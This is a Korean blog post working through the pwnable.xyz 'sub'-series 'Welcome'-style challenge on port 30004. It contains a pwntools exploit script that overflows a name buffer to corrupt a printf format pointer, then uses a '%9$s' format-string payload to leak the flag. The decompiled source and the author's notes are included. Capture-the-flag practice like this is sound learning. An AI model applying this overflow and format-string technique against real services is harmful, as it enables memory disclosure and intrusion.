from pwn import *
p = remote("svc.pwnable.xyz", 30004)
p.recvuntil("older? [y/N]: ")
p.send(b"yAAAAAAA"+p64(0x601080))
p.recvuntil("Name: ")
''' buf[1] 위치 언제 등장하는지 확인
pay = "A"*0x28 + "%p %p %p %p %p %p %p %p %p %p "
pay += 'A'*(0x80-len(pay))
출력결과: 첫번째 인자로 usr 주소, 9번째 인자로 buf[1]의 값
Welcome AAAAAAAA0x6010e0 0x7f30f4a648c0 (nil) 0x7f30f4c8b500 0x8
0x10f4a773d0 0xc8e260 0x4141414141414179 0x601080 0x7fffa53c8fb0 AA~~
'''
pay = 'A'*32 + "%9$s" # 최소 32자의 DUMMY는 주어야 포맷스트링 제대로 실행됨
pay += 'A'*(0x80-len(pay))
p.send(pay)
p.interactive()
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *src; // [rsp+8h] [rbp-28h]
__int64 buf[4]; // [rsp+10h] [rbp-20h] BYREF
// 스택 카나리 설정
buf[3] = __readfsqword(0x28u);
setup(argc, argv, envp);
// 첫 16byte=NULL
buf[0] = 0LL;
buf[1] = 0LL;
printf("Are you 18 years or older? [y/N]: ");
// buf 첫 16byte에 값 저장, 마지막 바이트는 NULL로
*((_BYTE *)buf + (int)(read(0, buf, 0x10uLL) - 1)) = 0;
// 가장 하위 바이트가 'y'또는 'Y'가 아니면 종료
if ( LOBYTE(buf[0]) != 121 && LOBYTE(buf[0]) != 89 )
return 0;
src = (char *)malloc(0x84uLL);
printf("Name: ");
// 0x80바이트 입력 시 0x81번째 위치에 NULL 들어감
read(0, src, 0x80uLL);
strcpy(usr, src);
printf("Welcome ");
printf(qword_601160, usr);
return 0;
}
unsigned int setup()
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
signal(14, handler);
// qword_601160에 0x601168 주소 들어감 ("%s\n" 문자열 주소)
qword_601160 = &byte_601168;
byte_601168 = 37;
byte_601169 = 115;
byte_60116A = 10;
return alarm(0x3Cu);
}
// flag는 바이너리 안에 있다네 (0x601080에 있답니다)
// Partial RELRO Canary found NX enabled No PIE
// usr=0x6010E0, usr+0x80=0x601160 - 만약 0x80자 입력하면 qwrod_601160에 들어가는 주소는 0x601100
// 그러면 qword_601160의 포맷 스트링은 손상되고, 그냥 문자열 두 개를 이어서 출력하는 형태로 가게 된다
// buf에 0x601080 주소를 넣어두고, src에 포맷스트링을 넣어 플래그가 출력되도록 한다
// systemv 함수호출규약에 따르면 rdi,rsi,rdx,rcx,r8,r9 하고 스택 사용, buf[3]:7번째, buf[2]: 8번째, buf[1]: 9번째?
// 이상하게 8번째에 buf[0], 9번째에 buf[1] 등장
// buf[1]에 플래그 주솟값 넣어뒀으니 포맷 스트링을 "%9$s" 이런식으로 주면 되겟네
// payload 앞에 DUMMY 최소 32자는 줘야 함, 왜???
<블로그 해설>
printf("%s\n", usr) → printf(0x601100, usr)로 변하게 되었으며, 0x601100에 위치한 곳부터 끝까지 읽게 된다.
usr=0x6010E0이므로 usr+32번째 값부터 포맷스트링으로 작동!! (0x601100-> 포맷스트링, usr-> 첫번째 인자)
'security > 포너블 - pwnable.xyz' 카테고리의 다른 글
pwnable.xyz - two targets (0) | 2023.02.05 |
---|---|
pwnable.xyz - note (0) | 2023.02.05 |
pwnable.xyz - misalignment (0) | 2023.02.05 |
pwnable.xyz - add (0) | 2023.02.05 |
pwnable.xyz - sub (0) | 2023.02.05 |